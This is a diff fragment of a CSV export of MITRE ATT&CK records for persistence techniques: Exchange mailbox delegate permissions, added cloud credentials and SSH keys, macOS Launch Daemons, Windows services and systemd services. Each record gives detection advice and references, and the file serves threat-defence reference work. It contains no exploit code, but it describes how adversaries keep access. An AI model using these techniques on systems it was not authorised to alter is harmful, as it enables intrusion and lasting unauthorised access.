messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1098/002', external_id='T1098.002'), ExternalReference(source_name='Microsoft - Add-MailboxPermission', description='Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.', url='https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps'), ExternalReference(source_name='FireEye APT35 2018', description='Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.', url='https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf'), ExternalReference(source_name='Crowdstrike Hiding in Plain Sight 2018', description='Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.', url='https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/'), ExternalReference(source_name='Bienstock, D. - Defending O365 - 2019', description='Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019.', url='https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365')]",attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-05-04 19:18:36.254000+00:00,Exchange Email Delegate Permissions,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)']","['Group: Group Modification', 'User Account: User Account Modification']",,,,,"Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. +Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. Adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452) -A larger than normal volume of emails sent from an account and similar phishing emails sent from  real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.",,,,,True,,,['Administrator'],"['Windows', 'Office 365']",,,,1.0 -2020-01-19 16:10:15.008000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment. +This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1098/002', 'external_id': 'T1098.002'}, {'source_name': 'Microsoft - Add-MailboxPermission', 'description': 'Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps'}, {'source_name': 'FireEye APT35 2018', 'description': 'Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.', 'url': 'https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf'}, {'source_name': 'Crowdstrike Hiding in Plain Sight 2018', 'description': 'Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020.', 'url': 'https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/'}, {'source_name': 'Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452', 'description': 'Mike Burns, Matthew McWhirt, Douglas Bienstock, Nick Bennett. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved September 25, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html'}, {'source_name': 'Bienstock, D. - Defending O365 - 2019', 'description': 'Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019.', 'url': 'https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Microsoft Detection and Response Team (DART)', 'Mike Burns, Mandiant', 'Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)', 'Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)']","['Application Log: Application Log Content', 'Group: Group Modification', 'User Account: User Account Modification']",,"Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. + +Enable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. + +A larger than normal volume of emails sent from an account and similar phishing emails sent from  real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.",True,['Administrator'],"['Windows', 'Office 365']",1.1,,,,,,, +attack-pattern,attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-19T16:10:15.008Z,2021-03-08T10:33:01.582Z,Additional Cloud Credentials,"Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment. Adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals) -In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1098/001', external_id='T1098.001'), ExternalReference(source_name='Microsoft SolarWinds Customer Guidance', description='MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.', url='https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/'), ExternalReference(source_name='Blue Cloud of Death', description='Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.', url='https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1'), ExternalReference(source_name='Blue Cloud of Death Video', description='Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.', url='https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815'), ExternalReference(source_name='Demystifying Azure AD Service Principals', description='Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.', url='https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/'), ExternalReference(source_name='GCP SSH Key Add', description='Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.', url='https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add'), ExternalReference(source_name='Expel IO Evil in AWS', description='A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.', url='https://expel.io/blog/finding-evil-in-aws/'), ExternalReference(source_name='Expel Behind the Scenes', description='S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.', url='https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/')]",attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2021-03-08 10:33:01.582000+00:00,Additional Cloud Credentials,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Expel', 'Oleg Kolesnikov, Securonix', 'Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)']","['User Account: User Account Modification', 'Active Directory: Active Directory Object Modification']",,,,,"Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account. +In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1098/001', 'external_id': 'T1098.001'}, {'source_name': 'Microsoft SolarWinds Customer Guidance', 'description': 'MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.', 'url': 'https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/'}, {'source_name': 'Blue Cloud of Death', 'description': 'Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.', 'url': 'https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1'}, {'source_name': 'Blue Cloud of Death Video', 'description': 'Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.', 'url': 'https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815'}, {'source_name': 'Demystifying Azure AD Service Principals', 'description': 'Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.', 'url': 'https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/'}, {'source_name': 'GCP SSH Key Add', 'description': 'Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.', 'url': 'https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add'}, {'source_name': 'Expel IO Evil in AWS', 'description': 'A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.', 'url': 'https://expel.io/blog/finding-evil-in-aws/'}, {'source_name': 'Expel Behind the Scenes', 'description': 'S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.', 'url': 'https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Expel', 'Oleg Kolesnikov, Securonix', 'Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)']","['User Account: User Account Modification', 'Active Directory: Active Directory Object Modification']",,"Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account. + +Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.",True,"['Administrator', 'User']","['IaaS', 'Azure AD']",2.2,,,,,,, +attack-pattern,attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-17T19:23:15.227Z,2021-10-07T22:10:55.653Z,Launch Daemon,"Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists) + +Adversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection) -Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.",,,,,True,,,"['Administrator', 'User']","['IaaS', 'Azure AD']",,,,2.2 -2020-01-17 19:23:15.227000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create or modify launch daemons to repeatedly execute malicious payloads as part of persistence. Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence). +Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1543/004', 'external_id': 'T1543.004'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/550.html', 'external_id': 'CAPEC-550'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/551.html', 'external_id': 'CAPEC-551'}, {'source_name': 'AppleDocs Launch Agent Daemons', 'description': 'Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'}, {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}, {'source_name': 'launchd Keywords for plists', 'description': 'Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021.', 'url': 'https://www.real-world-systems.com/docs/launchdPlist.1.html'}, {'source_name': 'WireLurker', 'description': 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.', 'url': 'https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf'}, {'source_name': 'OSX Malware Detection', 'description': ""Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."", 'url': 'https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf'}, {'source_name': 'LaunchDaemon Hijacking', 'description': 'Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.', 'url': 'https://bradleyjkemp.dev/post/launchdaemon-hijacking/'}, {'source_name': 'sentinelone macos persist Jun 2019', 'description': 'Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.', 'url': 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution', 'Service: Service Creation', 'Service: Service Modification']",,"Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP. -Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root. +Some legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists) -The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1543/004', external_id='T1543.004'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/550.html', external_id='CAPEC-550'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/551.html', external_id='CAPEC-551'), ExternalReference(source_name='AppleDocs Launch Agent Daemons', description='Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.', url='https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'), ExternalReference(source_name='Methods of Mac Malware Persistence', description='Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', url='https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'), ExternalReference(source_name='OSX Malware Detection', description=""Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."", url='https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf'), ExternalReference(source_name='WireLurker', description='Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.', url='https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf')]",attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-09-16 15:46:44.130000+00:00,Launch Daemon,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution', 'Service: Service Creation', 'Service: Service Modification']",,,,,Monitor for launch daemon creation or modification through plist files and utilities such as Objective-See's KnockKnock application. ,,,['root'],,True,,,['Administrator'],['macOS'],,,,1.1 -2020-01-17 19:13:50.402000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). +",True,['Administrator'],['macOS'],1.2,,,,"['root', 'Administrator']",,, +attack-pattern,attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-17T19:13:50.402Z,2020-09-16T15:49:58.490Z,Windows Service,"Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). Adversaries may install a new service or modify an existing service by using system utilities to interact with services, by directly modifying the Registry, or by using custom tools to interact with the Windows API. Adversaries may configure services to execute at startup in order to persist on a system. An adversary may also incorporate [Masquerading](https://attack.mitre.org/techniques/T1036) by using a service name from a related operating system or benign software, or by modifying existing services to make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. -Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1543/003', external_id='T1543.003'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/478.html', external_id='CAPEC-478'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/550.html', external_id='CAPEC-550'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/551.html', external_id='CAPEC-551'), ExternalReference(source_name='TechNet Services', description='Microsoft. (n.d.). Services. Retrieved June 7, 2016.', url='https://technet.microsoft.com/en-us/library/cc772408.aspx'), ExternalReference(source_name='TechNet Autoruns', description='Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', url='https://technet.microsoft.com/en-us/sysinternals/bb963902'), ExternalReference(source_name='Microsoft 4697 APR 2017', description='Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.', url='https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697'), ExternalReference(source_name='Microsoft Windows Event Forwarding FEB 2018', description='Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.', url='https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection')]",attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-09-16 15:49:58.490000+00:00,Windows Service,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Matthew Demaske, Adaptforward', 'Travis Smith, Tripwire', 'Pedro Harrison']","['Service: Service Creation', 'Service: Service Modification', 'Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification']",,,,,"Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. +Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1543/003', 'external_id': 'T1543.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/478.html', 'external_id': 'CAPEC-478'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/550.html', 'external_id': 'CAPEC-550'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/551.html', 'external_id': 'CAPEC-551'}, {'source_name': 'TechNet Services', 'description': 'Microsoft. (n.d.). Services. Retrieved June 7, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/cc772408.aspx'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}, {'source_name': 'Microsoft 4697 APR 2017', 'description': 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.', 'url': 'https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697'}, {'source_name': 'Microsoft Windows Event Forwarding FEB 2018', 'description': 'Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.', 'url': 'https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matthew Demaske, Adaptforward', 'Travis Smith, Tripwire', 'Pedro Harrison']","['Service: Service Creation', 'Service: Service Modification', 'Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification']",,"Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. -Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",,,"['Administrator', 'SYSTEM']",,True,,,,['Windows'],,,,1.1 -2020-01-17 16:15:19.870000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems. +Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",True,,['Windows'],1.1,,,,"['Administrator', 'SYSTEM']",,, +attack-pattern,attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-17T16:15:19.870Z,2020-10-09T13:46:29.701Z,Systemd Service,"Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems. Systemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands: @@ -2330,38 +2553,42 @@ Systemd utilizes configuration files known as service units to control how servi Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019) -While adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1543/002', external_id='T1543.002'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/550.html', external_id='CAPEC-550'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/551.html', external_id='CAPEC-551'), ExternalReference(source_name='Linux man-pages: systemd January 2014', description='Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.', url='http://man7.org/linux/man-pages/man1/systemd.1.html'), ExternalReference(source_name='Freedesktop.org Linux systemd 29SEP2018', description='Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019.', 